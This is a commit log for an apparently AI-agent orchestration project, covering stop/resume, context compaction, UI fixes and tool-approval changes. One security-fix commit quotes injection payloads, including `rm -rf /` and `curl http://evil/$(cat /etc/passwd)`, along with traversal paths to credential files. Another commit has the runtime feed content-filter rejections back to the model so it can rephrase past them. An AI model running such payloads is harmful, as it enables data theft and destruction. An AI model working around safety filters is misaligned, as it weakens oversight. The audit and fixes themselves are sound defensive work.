6c5acbf10e2aa62ff2fbe38dafa23fed8256c27a
8 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
d14f3920e0 |
fix(company): stop/resume identity truth, failure-path closure, quota park
OBS-11 — stop/resume killed pure-native runs over a phantom external pin. Role templates' preferred_external_agent leaked into execution identity even when the user requested native and execution actually ran native; on resume the availability gate trusted the pin and failed every non-terminal item. Root fixes across the whole chain: - Staffing card per-role defaults are now the RESOLVED backend (explicit session agent choice > runnable template preference > native), never a hardcoded external default; seat enrichment and the dispatch selector's locked branch downgrade provably unavailable externals to native and record the wish in execution_agent_unavailable. - The resume availability gate fails closed only when a resumable external session actually exists; a bare pin heals to native (snapshot AND task durable identity) and the run resumes — mirroring dispatch fallback. - Suspend-checkpoint replies: force_resume (chat/headless spelling) is recognized alongside ui_force_resume, and bare continuation tokens (English and Chinese spellings) take the plain-resume path instead of being routed to the final decider as content, which reopened the already-approved intake card. OBS-5 — failed runs never closed and dropped new input. The dispatcher's convergence exit now settles terminally-failed runs (status=failed, lifecycle=closed_failed, run_failure metadata) and emits a company_run_failure_review card whose replies never swallow messages: dismiss acknowledges, content falls through so normal routing starts a fresh run. _maybe_resume_existing_company_runtime no longer re-executes a terminally-failed tree: control replies get an honest closed status, content-bearing input starts a new run. OBS-6 — provider quota exhaustion terminally failed work items. Rate-limit rejections are classified (LLMProvider.is_rate_limit_error, covering status codes, exception types, and English/Chinese provider error text), the agent runtime raises typed ProviderQuotaExhaustedError instead of burning conversation-feedback retries, and the company dispatcher parks: the item returns to READY (attempt interrupted, no terminal failure), the member session idles, and claiming backs off exponentially (60s doubling to a 900s cap; a quiet 30min resets the streak) before resuming automatically. Verified end-to-end on the real minimax-m3 campaign: same goal, same 300s stop point, same run shape that previously killed the whole tree within 90s now resumes cleanly and completes with all items approved; staffing defaults native for all 11 roles. Tests: test_stop_resume_native_pin (10), test_run_failure_settlement (6), test_provider_quota_park (9); attempt-ledger, recruiter, and suspend-resume suites updated to the new contracts (their old assertions pinned the defective behaviors). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> |
||
|
|
6fc5ad6be9 |
feat(runtime): replace per-round history trimming with threshold-triggered LLM compaction
Align native context management with the Claude Code / Codex model: entry-capped tool results, history frozen below the threshold, one high-quality summary at the wall — instead of the old pipeline that microcompacted old messages from 60% usage and hid everything past 40 messages behind a snip marker with no summary. - context pipeline: history below the hard threshold is never rewritten (model quality and prompt-cache prefixes depend on byte-identical old messages); the 60% tool-aware microcompact and the 40-message history snip move to an emergency-only fallback used under overflow pressure when the summarizer is unavailable or circuit-broken. - durable compaction (was a stub): at usage >= context_guard.hard_threshold (now 0.90, soft_threshold removed) the old span is folded into a 9-section summary via the new HistoryCompactor.summarize_runtime_history, keeping the system head, the seed user request verbatim on every round (injected session-memory/artifact messages shift the stale base_prefix_len, so the fold start is structure-aware), and a pairing-safe recent tail. A previous summary stays foldable, so exactly one summary exists at a time and rounds chain. - token accounting anchors on the provider-reported prompt size of the latest request (max with the local estimate). - reactive_compaction.circuit_breaker_failures (previously unread) now stops repeated summarizer failures; provider overflow errors retry through the same pipeline, summary-first. - tool-result budget clip keeps head and tail instead of tail-chopping. - chat-side transcripts get the same treatment: new MemoryManager.maybe_compact_session_history wires the threshold-gated maybe_compact_session into secretary, office_ui dispatcher, and context_loader before prompt building, closing the unbounded-growth path; dead no-op compactor entries (maybe_compact_after_message, should_compact_prompt) removed. Verified by 13 new tests (history sanctity below threshold, multi-round single-summary/seed-verbatim/chain invariants, breaker, emergency fallback, provider-overflow end-to-end recovery) plus a live-provider probe: multi-round compaction with the model completing correctly from summarized context. Full suite: 1859 passed. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> |
||
|
|
5938b4c215 | fix(ui): stabilize company chat result topology | ||
|
|
a0402522da |
fix(office-ui): stop progress-row flicker and surface native role replies end to end
Two user-visible defects in company mode, root-caused via project 6666/8888 DB forensics: Progress-row flicker (thinking preview appearing/disappearing): progress entries were broadcast to clients before reaching the persistence buffer, so a tool_call-triggered session_detail snapshot rebuilt from the DB erased freshly streamed entries from the live log. Buffer now fills before the broadcast and session_detail flushes it before reading. Native role transcripts incomplete (thinking only at start, no narration, no final summary — external agents unaffected): - thinking deltas shared one stream id per conversation turn while seq reset per iteration, collapsing all iterations into one entry and silently dropping live thinking from iteration 2 on; now keyed per iteration like assistant deltas - assistant_delta events were mapped to None; company mode now surfaces them as streaming 'assistant' progress entries (rendered as Reply cards, merged like thinking, excluded from inline chat rows) - thinking was persisted one row per token, flooding the 1000-entry cap and evicting interleaved tool history; append_progress now folds streaming deltas per (type, turn, stream) with seq dedup - the terminal company turn was hidden at summary detail and, worse, its id-keyed backfill merge kept the first-inserted intermediate content, so the final reply never reached any channel; terminal turns are now flagged company_final_turn, visible at summary detail, and carry their own ui_message_id so they insert as fresh rows - appendProgressEntry applied its seq guard against unrelated entries when the stream key was absent from the log, killing the first delta of any fresh stream; the guard now only applies within the same stream Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> |
||
|
|
4b29b89371 |
refactor: unify tool approval into a single engine and cut prompt storms
Collapse the dual permission stack into one policy. The runtime-side ToolPermissionResolver (own safe lists, own grant memory, bypassed the ApprovalEngine whenever it said ALLOW) is deleted; runtime_v2 now consults ApprovalEngine.predict(), a synchronous fast path reading the same config and the same persisted allowlist as the async authorize pipeline, so a grant given anywhere is honored everywhere. permissions.py keeps only a policy-free adapter; the duplicated permissions_v2 config fields and the runtime grant persistence loop are removed (stale YAML keys are ignored). New shell_safety module becomes the single source of truth for shell classification: flag-audited read-only commands (awk/od/jq/sed -n/diff/ git subcommand table/... auto-allow; find -delete, sort -o, curl -o/-d, rg --pre still prompt even when the bare name is config-listed), keyword-aware compound splitting (loop/branch headers no longer poison grants), expansion-safe $() handling, and fail-closed treatment of anything unparseable or substitution-bearing. Grant semantics are rebuilt around derived word-boundary prefixes: "python3 -c" instead of token bags, interpreter -c/-m kept in the prefix, bash/eval/sudo never grantable as prefixes, read-only segments exempt from the every-candidate-must-match rule so a granted command chained with ls/echo verification passes, and approve-once now records the exact candidates as a session grant so identical re-runs stop re-prompting. The authorize heuristic also audits the original command text instead of the quote-dropping preview (echo "<EOF>" no longer reads as redirection). Validated live on zz_perm_probe1 (native minimal org): awk/od/ls/cat/ sha256sum ran with zero cards, python3 -c parked once and three different python3 -c commands then passed via the persisted prefix grant, and an agent-issued rm -f compound correctly re-prompted showing only the segments needing approval. Full suite failures are byte-identical to the pre-change HEAD baseline (27 pre-existing). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> |
||
|
|
a30fa7588d |
fix: route internal-turn approval cards to visible channels; feed provider errors back to the model
Approval cards raised by company-mode internal scheduling turns (review/report work items, session ids like `<root>:review::<wid>::vN`) were posted to the turn's own session channel, which the UI deliberately hides. The card silently timed out after 300s and the work item parked on AWAITING_HUMAN, so users saw only the gate card and never the approval prompt. ws_handler now detects these internal turns and routes their escalation cards to origin_task_id, the root session's primary task channel, or the activity channel — never the hidden one. Also unblocks the previously dead origin/session fallbacks in the resolver. Unclassified LLM stream failures (e.g. provider content-filter rejections like "input may contain sensitive information") used to hit a blind truncate-retry loop that replayed the identical payload for a dozen-plus consecutive failures. runtime_v2 now feeds the provider's verbatim error text back into the conversation as a "[runtime notice]" system message so the model can adapt (rephrase, drop quotes, change tack), bounded at 2 feedback retries (counter resets on any successful stream) plus one context-reset attempt, then fails honestly with the real error. The blind truncate path remains only for classified tool-protocol errors. Verified: new end-to-end tests for recover-after-notice and bounded-failure; runtime_v2 + ws_handler + escalation/approval + company-mode suites all green. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> |
||
|
|
975b852e78 |
Fix command injection, path traversal, and approval bypass in tool/market layer
A security and robustness audit of the tool-execution, market-package, and approval subsystems surfaced several high-impact issues. Each is fixed with a minimal, targeted change; regression tests are included. Command injection (shell_exec runs `bash -lc "<cmd>"`, so interpolated args are shell-evaluated): - git_commit: the commit message was interpolated raw into the command string. A message like `foo" && rm -rf / #` injected arbitrary commands, and the approval layer never inspects `message`. Now shlex-quoted. - git_clone: the URL was interpolated raw. `https://x.git; rm -rf /` or `$(curl ...)` was executed. Now shlex-quoted. Path traversal: - package_loader._write_prompts / uninstall: `package_id` (from an untrusted manifest) was used directly as a directory name under prompts/market and passed to mkdir(parents=True) / shutil.rmtree. An id like `../../projects/<victim>` enabled arbitrary file write and arbitrary directory deletion. Added _market_prompts_dir() which validates the id (lowercase alphanumeric + -/_) and confirms the resolved path stays inside the market base; uninstall validates up front. Prompt-content filenames are also confined to the package dir. - sandbox_checker: a malformed package id was only a *warning*, so report.passed stayed True and callers proceeded. Promoted to a hard error. - package_exporter: prompt refs (bare strings from package definitions) were read with `opc_home / ref`, so `/etc/passwd` or `../../.aws/credentials` were bundled into exported packages. Now confined to opc_home. - ws_handler._write_custom_prompt: employee_id (derived from user-supplied role id/name) flowed unchecked into the path, enabling traversal writes. Now reduced to a safe path component with a containment check. Approval bypass: - approval: a command beginning with a safe prefix (curl/echo/find/...) was auto-approved as LOW risk even when it contained shell command substitution. `curl http://evil/$(cat /etc/passwd)` was classified safe and ran with no human/LLM review, letting bash exfil data. Added _command_has_shell_substitution() and gated safe-prefix matching on it. Correctness / robustness: - shell: when a shell_prefix was active, `[args[0], args[1], command]` dropped the `-Command` flag from PowerShell argv (4 elements), silently breaking every prefixed PowerShell tool call. Now replaces only the trailing arg. - runtime_v2: tool arguments that are valid JSON but not an object (e.g. a JSON array) were silently replaced with `{}` while arguments_parse_error stayed None, so the tool executed with empty args (todo_write could wipe the task ledger). Now flagged with a parse error. - store: _json_loads raised on corrupt JSON; it is called during store.initialize() (via _sweep_stale_claims), so a single corrupt row prevented the store from ever opening. Now falls back to the default. - engine: _parse_reorg_payload returned any JSON type; callers did `.get(...)` and crashed (AttributeError) on `reorg propose 42`. Now returns None for non-dict JSON. - channels.manager: a single failing channel.send propagated out of the only outbound dispatch loop and silently stopped all message delivery on every channel until restart. Now caught and logged. - ws_handler: a non-object JSON frame (null/number/array/string) made `data.get` raise AttributeError and drop the whole WS connection. Non-dict frames are now ignored. Co-Authored-By: Claude <noreply@anthropic.com> |
||
|
|
d78931979d | Initial commit |